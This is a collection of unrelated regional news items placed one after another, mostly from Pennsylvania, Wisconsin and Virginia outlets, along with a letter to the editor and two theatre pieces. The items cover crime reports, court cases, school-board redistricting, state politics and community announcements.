Borough police are checking surveillance cameras to try to identify the person.

Anyone with information is asked to call police at 215-860-7835 or submit a tip through Crimewatch.
A new debate is brewing in the Central Bucks School District.

This time it's over the balance of power on the school board. The board recently voted to redraw the voting districts, but some say the new map heavily favors Republicans. Those accusations of gerrymandering came from the school board's Nov. 15 meeting, where they approved the new map.

Advocates have drawn up a different map and are planning to have the debate in front of a judge. The result could decide who controls school district policy for the next 10 years.

At the meeting on Nov. 15, former school board member Tracy Suits was the only speaker to address the board about their new voting district map, bringing with her a different map she created.

"I ask that you consider this counter proposal," said Suits from the podium.

But the board did not consider her proposal, instead voting to approve the map they already had. Board Member Tabitha Dell'Angelo said she had faith in their version.

"I truly believe with all my heart that this, what's been offered is, was an attempt at being fair and just trying to do what's necessary," said Dell'Angelo in the meeting.

We talked with Suits at her home in Chalfont on Monday. She believes the board-approved map disenfranchises voters.

"The geographic gerrymandering is very obvious because there are municipalities that are split up in odd ways. Precincts that are barely connected," said Suits.

Those odd splits include her own neighborhood.

"People who live just a few houses away from me are in New Britain Township. They would move to a different voting region," said Suits.

But more concerning for Suits is that the board's map creates nine new districts, seven of which would lean Republican.

"Our district as a whole is about a 51-49 Republican/Democrat split, so a 7-2 advantage in the voting regions doesn't reflect that," said Suits.

But Suits' biggest concern is that the board's map moves around 6,000 voters into new precincts, changing their election day from later this year to 2025.

"I cannot imagine in good conscience knowing that you are removing someone's right to vote when there's an alternative that doesn't have to be that way," said Suits.

At the meeting on Nov. 15, Board Solicitor Jeffery Garton said he didn't believe there was a way to redistrict without moving people.

"For that theory to work, you could never make any changes, because obviously, if you made any changes, people would fall within that category," said Garton at the meeting.

But Suits said she has a way: Change the number of districts from nine to three, with three board members per region.

"They are still reflective of that 51-49 in each of the three regions individually," said Suits.

She's working with a new organization, called CBSD Fair Votes, collecting signatures at events like the protest in front of Central Bucks East High School last week to get their map in front of a judge.

In reporting this story, we reached out to the Chair of the School Board, Dana Hunter, and the Board Solicitor, Jeffery Garton, but we didn't hear back. Suits tells us she already has more than 1,500 signatures, more than enough to submit her map to the Court of Common Pleas. She plans to do that by the end of the month, and then a judge will decide to use her map, the board's map, or if they need to go back to the drawing board.
A Bucks County man is facing more than a decade behind bars for an incident that happened outside of a Planned Parenthood more than a year ago.

Jury selection began Tuesday morning for Mark Houck at a courthouse in Philadelphia.

He is accused of violating the Freedom of Access to Clinic Entrances Act, otherwise known as the FACE Act, after he allegedly shoved a Planned Parenthood volunteer outside of a clinic in 2021.

"Basically prevents individuals from gathering outside abortion clinics," said John Waldron, a criminal defense lawyer who is not involved in Houck's case. "The law has found they're not able to harass, or prohibit, or intimidate these individuals from entering these clinics."

Some people say he's being targeted for his pro-life views.

On October 13, 2021, Houck and his son were outside of a Planned Parenthood clinic in Philadelphia saying the Rosary when his defense lawyer says a volunteer escort approached them.

"He came out of his way, 50 feet down, and engaged Mr. Houck's son, not Mr. Houck himself, but his 12-year-old son, and was saying vile things," said Matt Heffron, attorney.

After asking the gentleman to leave Houck's son alone, Heffron says he came back a second time to berate him, and that's when things got physical.

"As a father, Mark had enough of it and he shoved the guy and the guy fell down and scraped his knee as far as I know," Heffron said.

Houck's defense team says he was not obstructing anyone's opportunity to enter the building.

But, prosecutors argue that anyone involved in reproductive health services is protected by the use of physical force.

"It would also cover individuals that work there volunteers, physicians, nurses and other individuals that are employed there," said Waldron, speaking about the FACE Act in general.

The case garnered national attention after the U.S. Department of Justice decided to charge Houck with a federal crime, despite the case getting dropped at the state level.

Waldron says choosing a fair and unbiased jury could be difficult, considering how emotionally charged the abortion issue is.

"If they have a position one way or the other on abortion, that may come through in the ultimate verdict," Waldron said.

The DOJ filed charges against nearly 30 pro-life activists last year for violating the FACE act.

The law went largely unused in 2020 and 2021, but saw a resurgence after Roe v. Wade was overturned.

Houck has pleaded not guilty.

The trial is expected to run through Friday.
PHILADELPHIA - October 13, 2021. 48-year-old Mark Houck, founder of the Catholic lay ministry The King's Men, was outside of a Planned Parenthood clinic in Philadelphia, praying with his son.

"He was standing on the corner 50 feet and back away from any entrance to the Planned Parenthood and he was saying the rosary with his 12-year-old son," said Matt Heffron, who's part of Houck's defense team from the Thomas More Society, a not-for profit law firm based out of Chicago.

He says no women seeking care were at the clinic at the time. Heffron says a 72-year-old volunteer escort came over to them. According to Heffron, the escort started saying vile things to Houck's son. What happened next is not disputed on either side.

"Pointing at his son, you can see it on the video, was talking to the son and quite honestly, as a father, Mark Houck had nothing, so he shoved the guy to the ground," Heffron said.

According to the Department of Justice, Houck assaulted the escort twice that day. Nearly one year later, a federal grand jury indicted Houck on a violation of the Freedom of Access to Clinic Entrances, or FACE, Act. Houck was arrested by the FBI. The question is: did he indeed violate the federal act? Heffron doesn't think so.

"He should be acquitted because the FACE Act requires that someone has to be interfering with or injuring someone who is obtaining or providing reproductive services abortion, obviously the alleged escort who did the aggressive talking to Mr. Houck, he was not providing abortion resources," Heffron said.

But the Department of Justice argues the volunteer escort is protected under the FACE Act. The trial begins Tuesday in Philadelphia.

Houck is facing up to 11 years in prison.
PHILLIPSBURG, N.J. - A man is facing charges in an armed robbery in Phillipsburg, New Jersey.

Officers were called around 5:45 p.m. Monday to the 400 block of S. Main Street for a reported armed robbery, police said.

Investigators soon arrested Hassan Shabazz, who was charged with armed robbery and related offenses.

Police say Shabazz, 57, had a knife believed to have been used in the robbery.

He's being held in Warren County Jail ahead of his next court appearance.
ALBUQUERQUE, N.M. (AP)  A political newcomer who lost his bid for the New Mexico statehouse and is accused of orchestrating a series of drive-by shootings at the homes of Democratic officials will remain in custody pending trial after a judge agreed Monday that he is a danger to the community.

Solomon Pena, 39, is charged with multiple counts that include shooting at a dwelling and possession of a firearm by a felon.

No one was hurt in the shootings, but the case has reignited the debate over whether lawmakers should make it harder for people accused of violent crimes to make bail, as New Mexico struggles with persistent violent crime.

Penas defense attorney raised questions about the credibility of a confidential witness that shared information with authorities, saying some of the statements that were used in a criminal complaint were contradictory. She also argued that her clients criminal history did not involve any violent convictions or crimes involving firearms and that he has not been in trouble with the law since his release from prison in 2016, other than two traffic citations.

Prosecutors outlined Penas time in prison and described him as the ringleader of a group that he assembled to shoot at peoples homes, saying ballistics testing determined that a firearm found in the trunk of a car registered to Pena was linked to at least one shooting. Another man was found driving that car and arrested on an unrelated warrant.

Read the rest here:
The Park Theatre has revealed a handful of additional productions for its forthcoming spring 2023 season.

Joining the shows announced last autumn will be a major revival of Neil LaBute's The Shape of Things (24 May to 1 July) in the venue's larger "Park200" auditorium alongside four new shows in the "Park90" space.

Nicky Allpress will direct LaBute's award-winning 2001 play which is set on a college campus in small-town America, where nothing is quite as it seems.

Leaving Vietnam (14 March to 8 April), written and performed by Richard Vergette, follows a disillusioned army veteran, who is seduced into supporting populist politicians.

Robert Boulton's Snowflakes (12 April to 6 May), directed by Michael Cottrell, is billed as a "sci-fi black comedy about cancel culture".

Leaves of Glass (11 May to 3 June), penned by Philip Ridley and helmed by Max Harrison, revolves around a man named Steven, who lives an honest, hard-working life until a barrage of accusations are flung his way.

And finally, the UK premiere of Paper Cut (7 June to 1 July), written by Andrew Rosendorf and directed by Scott Hurran, follows a gay soldier, who returns home from Afghanistan.
Though it's now 20 years since its premiere, this intriguing three-hander by Canadian writer Nicolas Billon still feels contemporary as a study of psychiatry, sexuality and the long tail of childhood trauma.

It's set in a consulting room, where Dr Greenberg (Jon Osbaldeston) is trying to ascertain the whereabouts of his colleague Dr Lawrence. The crucial information lies with Michael (Gwithian Evans), a troubled young man who is also expert at playing mindgames. Greenberg's approach is forceful  he crosses so many ethical lines with Michael that one quickly loses count. As the latter quips, "I'm the patient and you're the impatient".

A much more human approach is taken by Nurse Peterson (Louise Faulkner), who pops in and out at the behest of Greenberg. When left alone with Michael, she's able to make him laugh and show him tenderness, something too few adults have done in his life. We learn his obsession with elephants stems from a childhood safari with his estranged father, when he witnessed him kill one at close range. Meanwhile his mother chose her opera career over him, and ultimately committed suicide in front of him. It's hardly a surprise his life has led him here.

Michael is a gift of a role, and Evans really excels with it, lending him a menace and vulnerability that is reminiscent of Hamlet. He gleefully manipulates Greenberg while clutching his toy elephant for comfort. His accusation of sexual abuse by Dr Lawrence is done almost flirtatiously, but with full knowledge of the implications.

Osbaldeston is a fine foil as Greenberg, capturing his deep frustration at being outsmarted by a sectioned 23-year-old. Though it should be said that his aforementioned impatience (exacerbated by the fact this is all happening on Christmas Eve) stretches credibility at times. Would even the most mendacious of clinicians really refer to a patient as "a little sh*t"?

As the nurse, Evans brings a welcome sensitivity to proceedings. The final twist hinges on Greenberg's failure to read something in Michael's notes, something his oft-derided nurse quickly realises. This is one of Billon's key themes  how hierarchical institutions can ignore talent and ultimately betray the people they are meant to help.

Jason Moore's production is faithful without being stuffy, and it's beautifully paced. The design by Ian Nicholas evokes a slightly pretentious consulting room  Rothko prints on the walls, antique furniture  that seems just right for a man of Greenberg's pride.

At 70 minutes, this is a brisk and intriguing glimpse into the troubled life of someone born into apparent privilege. Its central motif of elephants, famed for their intelligence and vulnerability to human mistreatment, is highly apt.
Speaker of the House Mark Rozzi, D-Berks, will begin his self-titled listening tour sessions this week in Pittsburgh.

The first session of the tour will be at 6 p.m. Wednesday in the Simmons Auditorium at the Carnegie Mellon University Tepper School of Business in Pittsburgh. There will be a public comment period at the end of the session.

Rozzi, who has vowed to serve as an independent speaker, on Thursday announced six lawmakers he chose to serve as what he's calling the Speakers Workgroup to Move Pennsylvania Forward. Any rules they develop will have to be approved by a majority in the House in order to take effect.

He followed that up Friday by announcing a statewide listening tour to meet with the public and good government groups to address partisan gridlock and deliver justice for survivors of childhood sexual abuse. He will be joined by members of the bipartisan Speakers Workgroup to Move Pennsylvania Forward at these sessions.

I pledged to be an independent speaker of the House and I will be an independent speaker of the House," Rozzi said in a news release. "While some want to focus on my independence in terms of party politics, my commitment is to the people of Pennsylvania. To this end, I have formed the bipartisan Speakers Workgroup to move Pennsylvania Forward to advise on the next steps to ensure that our chamber operates appropriately and that our top priority  seeking justice for survivors of sexual assault  is addressed swiftly and not leveraged for other ideological or political ends.

"To help us break this gridlock, I have decided to seek the counsel of those most often neglected: the people of Pennsylvania. In the coming weeks I will be touring the commonwealth to hear directly from our citizenry on how they think the House can best move forward and heal the divides that exist due to the hyper-partisan politics of Harrisburg."

Since Rozzi became speaker two weeks ago, the House has not adopted rules, announced committee membership or held any votes.

Republican leaders and a few other GOP members joined with all Democrats to elect Rozzi speaker after a close November election and three Democratic vacancies resulted in a temporary 101-99 Republican margin. Democrats had been in the minority for 12 years.

Rozzi, who has spoken of his own abuse at the hands of a Catholic priest, has long advocated for a two-year window during which child sexual abuse survivors can sue. A constitutional amendment to create the two-year window needs to pass both legislative chambers any time over the next two years in order to go before voters for final approval in referendum form.

Democrats are hopeful they will reach a 102-100 majority once three House special elections are held in Democratic-leaning seats in the Pittsburgh area on Feb. 7, along with a Senate special election Jan. 31 in which an incumbent Republican House member is running.

I am inviting the Speakers Workgroup to Move Pennsylvania Forward to join me," Rozzi said. "It is my hope that at the conclusion of this tour we will have a clear idea on how best to heal the divides in Harrisburg, what a fair set of House rules should include, and a plan to finally get survivors of childhood sexual assault the justice and truth that they so desperately deserve."
ALBANY, N.Y.  Democratic lawmakers in a handful of states are trying to send a message two years after the violent attack on the U.S. Capitol: Those who engage in an attempted overthrow of the government shouldnt be allowed to run it.

New York, Connecticut and Virginia are among the states where proposed legislation would prohibit anyone convicted of participating in an insurrection from holding public office or a position of public trust, such as becoming a police officer.

While the bills vary in scope, their aim is similar.

If youve tried to take down our government through violent means, in no way should you be part of it, New York state Sen. Brad Hoylman-Sigal said.

He is sponsoring a bill that would bar people convicted of engaging in an insurrection or rebellion against the United States from holding civil office, meaning they would not be able to serve as a judge or member of the Legislature. Hoylman-Sigal said he introduced the bill this year because he saw more people who were involved in the riot in Washington on Jan. 6, 2021, running for office last year.

He described the assault on the Capitol as a real attack on the foundations of our free and fair democracy and the values which enable that to persist.

A Virginia lawmaker introduced a bill this month, on the second anniversary of the Capitol riot, that would prohibit anyone convicted of a felony related to an attempted insurrection or riot from serving in positions of public trust  including those involving policymaking, law enforcement, safety, education or health.

A Connecticut bill would prohibit people convicted of sedition, rebellion, insurrection or a felony related to one of those acts from running for or holding public office. Senate Majority Leader Bob Duff, who introduced the measure, told the Associated Press that he wants the legislation eventually to bar them from holding state or municipal jobs.

The legislation in the states comes after the House Jan. 6 committees final report, which found Donald Trump criminally engaged in a conspiracy to overturn the lawful results of the 2020 presidential election he lost and failed to take action to stop his supporters from attacking the Capitol.

The committees recently concluded work may have provided another springboard for lawmakers to act and propose ways to hold people accountable, said Victoria Bassetti, a senior policy adviser at States United Democracy Center, a nonpartisan organization that advocates for fair elections.

Some Republicans say the legislation is unnecessary.

In New York, Republican Assemblyman Will Barclay, the minority leader, called the bill there a political statement, saying it is more political than it is a concern about public policy.

He said existing rules already apply to people in certain positions who are convicted of crimes and that those laws should be sufficient.

The legislation is another example of how the Capitol riot has become a political Rorschach test in the country.

Many Republicans refuse to see the attempt to violently halt the presidential certification  which was based on lies that 2020 election was stolen  as an insurrection, while a strong majority of the party continues to believe that President Joe Biden was not legitimately elected. Even students are being taught different versions of the attack, depending on whether they live in more conservative or liberal parts of the nation.

The opposing realities came into sharp focus this month in Pennsylvania during an exchange between two lawmakers.

In a committee hearing, Republican state Sen. Cris Dush slammed his gavel as he ruled Democratic state Sen. Amanda Cappelletti out of order after she described the U.S. Capitol on Jan. 6 as the site of an insurrection.

Insurrection, nobody has been charged with that, Dush said. Theres not been a single charge against any of those people as insurrectionists. In this committee, we are not using that term.

Nearly 1,000 people have been charged in the Capitol riot with federal crimes, with about half of them pleading guilty to riot-related charges and more than three dozen convicted at trial. The charges range from misdemeanors for those accused of entering the Capitol illegally but not participating in violence to felony seditious conspiracy for far-right extremist group members accused of plotting to stop the transfer of presidential power.

In November, two leaders of the Oath Keepers extremist group were convicted of seditious conspiracy for what prosecutors alleged was a weekslong plot to use force to keep Trump in office. Leaders of the Proud Boys and additional members of the Oath Keepers are standing trial on the sedition charge, which carries up to 20 years behind bars.

Weeks after the committee exchange, Cappelletti told the Associated Press that its important to make sure people understand that the attack on the Capitol was an insurrection.

These are factually correct things, she said. That doesnt mean that we cant disagree politically about policy or other things, but we can acknowledge that that happened and start to figure out how we move forward to work together to build up that public trust again.

Photos: Scenes from the second anniversary of the Jan. 6 Capitol riot
Hundreds of community members, friends and co-workers wished long-time banker Phil Smartt a happy retirement during a three-hour party at Southern Bank of Tennessee last Thursday.

Smartt, 73, alongside his wife, retired Wilson County teacher Sue Smartt, greeted a multitude of well-wishers at Southern Bank on Mt. Juliet Road during the festive sendoff. He has a half-century of service in the banking industry.

I graduated in 1971, Smartt said. I wanted to work at Dupont (manufacturing company in Old Hickory), but they werent hiring. I got hired at a local bank and the rest is history.

Smartt retires from Southern Bank of Tennessee as senior vice president. He said he has worked there 12 years. As senior vice president he oversaw lending credit requests.

Ive been in the bookkeeping department, a bank teller, a loan officer, you name it, he said.

First and foremost, Phil is a kind and compassionate person with many friends, Chairman of the Board of Southern Bank of Tennessee David Major said. He has been an asset to this community and to this bank. He was an anchor to the lending teams at the many banks he worked. In addition, his selfless dedication to the many planning agencies he served on in Wilson County and Mt. Juliet, he has contributed to the successful and planned growth in these communities. All of us will miss him.

CEO of Southern Bank Samuel Short said while hes been in the position just two years, I really appreciate Phils service to the bank. Hes been so valuable.

Smartt said he waited this long to retire, because I could never find the right time to get out.

Smartt served on the Mt. Juliet Planning Commission for 17 years and is on the executive committee of the Joint Economic Community Development Board. He said he plans to continue in that role.

The Smartts have two grown sons and a daughter, and nine grandchildren. He recently built a new house on Quail Road. And what is his first phase of retirement plans?

We want to travel, he said with a smile. Where you ask? Anywhere. Some cruises.
Good news for the New Year! Over 150 people rallied on Jan. 6 at the Harrisburg Capitol to remember the violent attack on our US Capitol in 2021. They condemned the lies that fed that attack, and the home-grown terrorists who continue to defy our Constitution, rule of law and the will of the majority of our citizens.

It was exhilarating to be among fellow citizens who refuse to have their voices silenced or personal freedoms taken away, and who believe we have a democracy worth standing up for. Shamaine Daniels, 2022 congressional candidate, reminded us that this is no time to celebrate: This is a reminder of the moment that American democracy saw its weakest moment in U.S. history.

Rep. Malcolm Kenyatta agreed: This is a reminder of how fragile democracy is. You are here because you understand an important American truth: Democracy requires something of us. It requires us to be vigilant. It requires us to not just be spectators. It requires us to not just sit at home and think once you vote, you did everything you need to do.

The passionate call to action of speakers and rally organizersthe 10th District Network, Hershey Indivisible and Cumberland Valley Rising  reminds us of the work ahead. Our democracy has held against election deniers, lies and propaganda, a violent insurrection, a freedom caucus that orchestrates violence and chaos. But the future will demand the commitment of all of us who want truth and civility in our government, and honest representation.

We the people cannot be silent in the face of lies and propaganda aimed at dividing us, fueling anger, hatred and violence, and destroying the very foundation of a free and fair democracy  a democracy that serves all of its citizens with honesty, integrity and compassion.

Whose freedom does the freedom caucus fight for? The majority of our citizens value womens rights, free and fair elections, majority rule and free public education in schools that represent our richly diverse democracy  schools that foster the open, critical thinking vital for all citizens in a democracy.

Look at the votes of freedom caucus members. They vote against the majority of us: banning womens freedom, voting for voter ID laws that restrict voting, voting against full public school funding and in favor of schools segregated by race and class that do not foster critical thinking about our richly diverse society. Like all would-be dictators, they ban books, ban individual personal freedom, and label anything that builds unity, compassion and deeper understanding as socialist.

It sounds like freedom to tear apart the very fabric of our democracyfreedom to maintain the vastly unequal status quo they profit from. Freedom to wield power and create chaos. And freedom to silence the cries of our most vulnerable citizens.

This is not who we are. As moderate, democratic, freedom loving Republicans, Democrats and Independents, we need to tell our legislators what to do in our name. It is their well-paid job to represent us fairly. So, for our New Years resolution, lets make a list of the things we want our representatives to doand not do. Then write a letter to them and visit them in their local or Harrisburg office. Yes, they do have two nice offices that we the people pay for.

Research tells us that, if a legislator gets just five personal letters from constituents, they pay attention to the issue. So, get four like-minded friends to each write a letter about something you all care about, then follow up with a group visit to share your solutions. And take your kids or grandkids with you so they can see that this is what democracy looks like  in action!

An alarming 60 percent of our U.S. citizens can expect to spend at least one year below the poverty line. Fiona Hill (2021) found that the U.S. super rich719 peopleincreased their wealth by 50 percent to $4.56 trillion from March 2020 to April 2021, thanks to Trump tax cuts and deregulation. Im looking for four friends to join me to write letters and make visits.

It matters what each of us do to defend our democracy. Resistance to violence is always good, as is defending those who need our help, as is calling out lies and those who twist the truth to control and keep power. Join together with others like the rally organizers and make your voices heard!
JUNEAU  A 42-year-old Fox Lake man was sentenced to 24 months in prison after being found guilty of his fifth offense of OWI.

Donald McRae entered a guilty plea to the charge. Dodge County Circuit Court Judge Brian Pfitzinger accepted the plea and found McRae guilty. Along with the time in prison, McRae will spend 36 months on extended supervision.

According to the criminal complaint:

A Randolph police officer pulled over the car McRae was driving going 35 mph in a 25 mph zone on Oct. 28. The car was stopped on Highway 73 in Randolph around 12:40 a.m. McRae told the officer that he did not have a valid license nor insurance and was currently on supervision with the Wisconsin Department of Corrections.

McRae told the police that he was going to Beaver Dam. He originally said he wasnt drinking but later admitted to having a couple of drinks. Due to the amount of past OWIs McRae had, he was restricted to having a blood alcohol level of .02. He refused a breath test, so a blood test was taken and resulted in a reading of .086.

He had previously been convicted of OWI in 2002, 2016, and twice in 2021.
The key to feeling like gold is to know you are already gold. The famed artist Bob Ross knew this. He once said, Didnt you know you had that much power? You can move mountains. You can do anything.

Its as if the artist were speaking directly to local young artist Allison Disch. The 14-year-old, 8th-grade student at Waupun Area Junior/Senior High School was just awarded the Gold Key Award from the Scholastic Art and Writing Awards.

Celebrating its 100th anniversary this year, the awards are given to inspire bold ideas in creative teens throughout the country.

Disch received the award for her art piece, Dont Forget the Yellow Ribbon and received an honorable mention for her comic art, The Adventures of Chewy and Lulu.

At first I was in shock, Disch confessed upon learning she was a Gold Key recipient. I had seen the Scholastic Art Award winners in 4th grade, but I never thought I could be one of them.

She is now one of them.

Inspired by, yes, Bob Ross, as well as illustrator Robb Mommaerts and Raina Telgemeier, Disch has been immersed in the arts since she was born. Her father, Doug Disch, had been an art teacher in Waupun for over 20 years before becoming the school districts director of activities and community partnerships. Her mother, Dawn Disch, is a graphic designer and teaches tech education.

Allison Disch won her first art contest in kindergarten. It was for the State Troopers Art and Essay Contest.

By creating art, Disch said, I can show I care for someone. I enjoy drawing, or illustrating, or painting for peoples birthday presents. Shes happy to take commissions, by the way.

She also participates in the Memory Project at her school. The Memory Project is a youth arts organization that promotes intercultural understanding between children. Its a great way to spread kindness, she said. We draw portraits of children who are living in orphanages or are in challenging situations. She continued, Its a great way to share my gift with others.

And others respond in-kind, most notably, the Scholastic Arts and Writing Awards. Celebrating their 100th anniversary in 2023, the art submitted is judged nationally by a panel of creative industry experts.

After Dischs art teacher, Jessica Schoessow, suggested she enter the competition, she did, not expecting anything from it other than the reward of creating art and submitting it for review.

Now that shes won the Gold Key Award, her artwork will be on display at the Schroeder Galleria at the Milwaukee Art Museum from Feb. 4 through March 19.

Other notable winners of the Scholastic Art and Writing Awards in the past, of which Disch can now say are fellow alumni, include Andy Warhol, Truman Capote, Joyce Carol Oates, and Robert Redford.

The awards ceremony will take place on Feb. 11. Shes most excited to see the other students artwork and to have my family there to support me.

Thats not all shes won. Her resume continues to grow. A black-and-white still life drawing she made was recently submitted to the Wisconsin Art Education Association Youth Art Month competition. The piece was accepted. It will be on display in Green Bay at the Neville Museum before traveling to Madison for the state exhibition in March.

Shes an 8th-grader with her eye not only on an empty canvas but on college.

I want to go to the Minnesota College of Art and Design because I want to be an illustrator, Disch said.

You can move mountains, Bob Ross said. You can do anything.

Disch is moving mountains, surrounded lovingly by art and artists.

Art, she said, is a great way of spreading joy.

That joy is bright as gold.
Officials in Wisconsin Dells desired more clarity and criteria when issuing liquor licenses, and a committee recently formed to address that issue held its first meeting on Jan. 18.

The Class B License Advisory Committee, approved in December, includes: Mayor Ed Wojnicz, Ald. Brian Holzem, Business Improvement District chairperson Tara Anchor, former business owner Ron Newell and retired school psychologist Ted Theiler.

Criteria for obtaining Class B licenses was discussed, as well as distribution options for the citys two outstanding licenses.

Class B licenses in Wisconsin allow for sale and consumption of alcohol on a premise. Sarah Brown, the citys clerk/treasurer, as well as city attorney Joseph Hasler and administrator/finance director Karen Terry, also participated in the meeting. Three area business owners, Adam Makowski, Dan Gavinski, and Dennis Mitchell, were in attendance.

At the end of the day, this is more of an art than a science, said Hasler of decisions regarding approval and denial of the liquor licenses, and also said that pretty much all information presented to the committee is public information.

When a Class B license becomes available, the committee will schedule a meeting, as well as publish notice of the availability in the Wisconsin Dells Events, the citys website, and will notify the Dells-Delton Tavern League.

The Class B License Advisory Committee will recommend Class B licensing based on six factors, according to an initial draft of policy standards. Those factors are potential economic impact on the city, compatibility with the city and its downtown area, conforming to zoning and design review standards, business experience of the applicant, the applicants intended use of the license, and a background check on the applicant.

Upon approval by the committee, applications will then be submitted to the citys Legislative Committee and, finally, the common council.

The new committee mostly held discussions on issues regarding liquor licensing at the Jan. 18 meeting, with more criteria decisions set to be made at its next meeting on Feb. 14.

Makowski asked the committee if public comment was available for criteria establishment, in which Wojnicz and Hasler both confirmed is allowed in writing or an appearance at an open session meeting. Hasler said written reactions are preferred so that committee members can carefully evaluate them.

Class B Committee Feedback If any area residents wish to write to the newly-formed Class B License Advisory Committee, they can send letters to the city's municipal building at 300 La Crosse Street, Wisconsin Dells, WI 53965.

One of the licenses available is due to the closure of Myrt and Lucys Family Restaurant in the citys downtown last summer, as well as an additional one issued because of an increase in population. Brown said that over the 20-year stretch from 2001 to 2021, Wisconsin Dells approximate population increased from 2,411 to 2,963.

The city is growing at a faster rate now. According to Wisconsin Department of Administration estimates, the citys population in 2022 was 3,236. Wojnicz discussed how housing development could cause this trend to continue. Population estimates come out every year in August.

Wojnicz said that the city will definitely reissue the license vacated by the closure of Myrt and Lucys, but said there is no rush to issue the license stemming from the population increase. Terry added that the faster population growth is getting the city close to obtaining another license for that reason, with Wojnicz saying that another 300 people will get the city to that point.

Hasler said that Myrt and Lucys former license is a legacy license that has been in existence since before 1997, carries a $600 fee to obtain and renew each year, and is transferable to a different location. A transfer would have to be approved, as Class B licenses are established on a premises.

The city also has discretion on those original, or legacy licenses to allow for that transfer, said Brown.

Brown and Hasler both mentioned that the new reserve license will cost an applicant $10,000 initially and $600 after that each year for renewal. This license is one that cannot be moved outside of the city.

There currently are 51 total liquor licenses active in Wisconsin Dells, according to data compiled by Brown. Six of them are Class A licenses, which permit alcohol sales, but do not allow for consumption on the premises. The rest are different classifications of Class B, which dictate the types of alcoholic beverages which can be sold/consumed at a facility.
The foundation that raises funds to support the Blue Ridge Parkway has appointed new officers and members to its leadership teams.

The Blue Ridge Parkway Foundation announced Tuesday that former Regional President of US Foods Bob Stout had been elected chairman of the groups board of trustees. He previously served as the vice chairman, a post that is now held by dry-stone waller and writer Whitney Brown. Retired finance manager Bob Lassiter will serve as the groups treasurer, while Julie Moore will continue her role as secretary.

I am looking forward to working with our dedicated leadership and staff to continue our support of one of our national treasures, Stout said in a statement. Helping to protect this national park unit and enhance the visitors experiences are our aspirations."

The 469-mile Blue Ridge Parkway is a U.S. designated National Parkway, stretching from Virginias Shenandoah National Park to North Carolinas Great Smoky Mountains National Park. The foundation serves as a fundraising partner for the parkway in order to support initiatives such as historical and cultural preservation, environmental protection, visitor amenities and educational outreach.

The board and council also saw several additions that were announced Tuesday. Roberts Bass, David Huff and Sam Johnson will serve on the board of Trustees, with Deanna Ballard, Charles Hauser and Marsha Ralls Hershman joining the council of advisers.

The Blue Ridge Parkway Foundation also announced that Kevin Brandt would serve as the new development director for Virginia. Previously a project manager for the foundation, Brandts role will now include supporting community outreach and Virginia fundraising.

Im thrilled to be expanding my role with the Foundation, which will allow me to help my fellow Virginians connect and support the national park we all love, said Brandt in a statement. We are lucky to have such a special place in our backyards.
The search for a motive is on after 7 killed in Northern California, the state's third mass shooting in three days
A shooting downtown late Monday night amid a neighborhood power outage left one boy injured but alive, according to Charlottesville police.

Police said they are investigating the shooting that occurred just before 10 p.m. Monday in the area of Sixth and Garrett streets  moments before more than 2,000 households in the area lost power.

It sounded like gunshots and then all the lights went out, an employee at the ACAC gym downtown told The Daily Progress shortly after she said the staff had telephoned the police on Monday.

A juvenile male was struck and injured in the gunfire, law enforcement said.

The victim remains in stable condition. This is an ongoing investigation, police said in a tweet posted at 11:35 p.m. on Monday.

City police spokesman Kyle Ervin did not respond to multiple requests for comment from The Daily Progress on Tuesday.

Crews were seen working on a utility pole on Garrett Street Monday night attempting to restore power to the area as police responded to the reported shooting nearby.

There were 2,421 households in the area that lost power Monday night, including in the neighborhood where the shooting was reported, according to Dominion Energys website. Residents began to report their power was returning before midnight, and Dominion Energys website reported all power had been restored by 12:45 a.m.

Dominion Energy did not immediately respond to a request for comment from The Daily Progress.

It was unclear whether the shooting and the power outage were connected.
On January 12, Thomas Sewell, a neo-Nazi, founder and leader of the Australian National Socialist Network (NSN), was spared a prison sentence after he attacked a security guard just outside Fairfax Nine Networks television station in Melbourne in early 2021. Sewell was found guilty of recklessly causing injury and affray.

Thomas Sewell, founder and leader of the Australian National Socialist Network. [Photo: Facebook]

The assault was not a random incident but a deliberate political stunt. Sewell and his cameraman Jacob Hersant went to the offices of the television station on March 1, 2021, as a story was being aired that night by A Current Affair program on his neo-Nazi group.

Sewell began filming inside the offices and claimed the show was manipulating public opinion for anyone who advocates for the white population. The pair were then approached by a security guard who told them they could not film in the building and had to leave.

Hersant continued filming as the guard escorted them out of the offices. In the footage, which is still available online, Hersant told the guard, who was originally from the Dominican Republic, dance, monkey, dance. That prompted the guard to slightly push him away.

Sewell reacted in a frenzy, attacking the guard from out of his line of sight, giving him no time to react and punching him at least six times in the face, causing him to fall over and hit his head on the pavement. Sewell and Hersant then fled the scene.

Sewell represented himself at Melbournes Magistrate Court, claiming the act was in self-defence. He spoke to journalists beforehand outside the court, saying he did not expect to receive a fair hearing and assumed he would be sent to prison. Instead, Magistrate Stephen Ballek handed down a penalty of 150 hours of community service and an 18-month community correction order.

Recklessly causing injury can incur a prison sentence of up to five years. Affray also carries a maximum prison sentence of five years according to the Crimes Act 1958 in the state of Victoria.

In justifying the sentence Ballek noted Sewells previous service in the Australian Defence Force, lack of prior convictions, his fiance being 36 weeks pregnant and previous good behaviour.

Ballek described the attack as sickening and said the guard had no time to defend himself but said he could not determine beyond reasonable doubt that the attack was racially motivated.

In response, Sewell gave a Nazi salute to his followers outside the court after he avoided jail.

Sewell is not some unknown. He is a prominent fascistic figure in Australia. He emerged out of the right-wing anti-Muslim Reclaim Australia movement that began in 2015, which was emboldened by the xenophobic anti-terrorism witch hunt and given political legitimacy by sitting members of parliament, such as former federal National Party MP George Christenson, who addressed its rallies.

Sewell has played the leading role in founding several far-right groups, including the United Patriots Front (UPF), the Lads Society, the NSN and the European Australian Movement (EAM). The tendency of all Sewells groups is to move toward more open and explicit association with neo-Nazism.

In 2017 the Lads Society attempted to recruit Brenton Tarrant, who carried out the worst mass shooting in New Zealand history on March 15, 2019, when he opened fired on two mosques killing 51 people in Christchurch. Tarrant had been a supporter of the UPF, describing one of its leaders as his emperor.

These far-right groups are connected globally through various online fascist networks, which are emboldened by the political establishment that allows them to operate freely and openly.

This was all but stated by the then Australian Security Intelligence Organisation (ASIO) director-general Duncan Lewis following the Christchurch massacre. Lewis told a Senate committee: There is a right-wing extremist elementnothing wrong with that, except when it ventures into violence. In effect, that politically legitimised fascist groups.

Moreover, the promotion of far-right anti-lockdown and anti-vaccination groups since the outbreak of the COVID-19 pandemic has provided fertile recruiting grounds for these fascist groups. Their live with the virus positions, which serve corporate profit interests, have now been entirely embraced by Australian governments, Labor and Liberal-National alike, including the removal of virtually all public health measures.

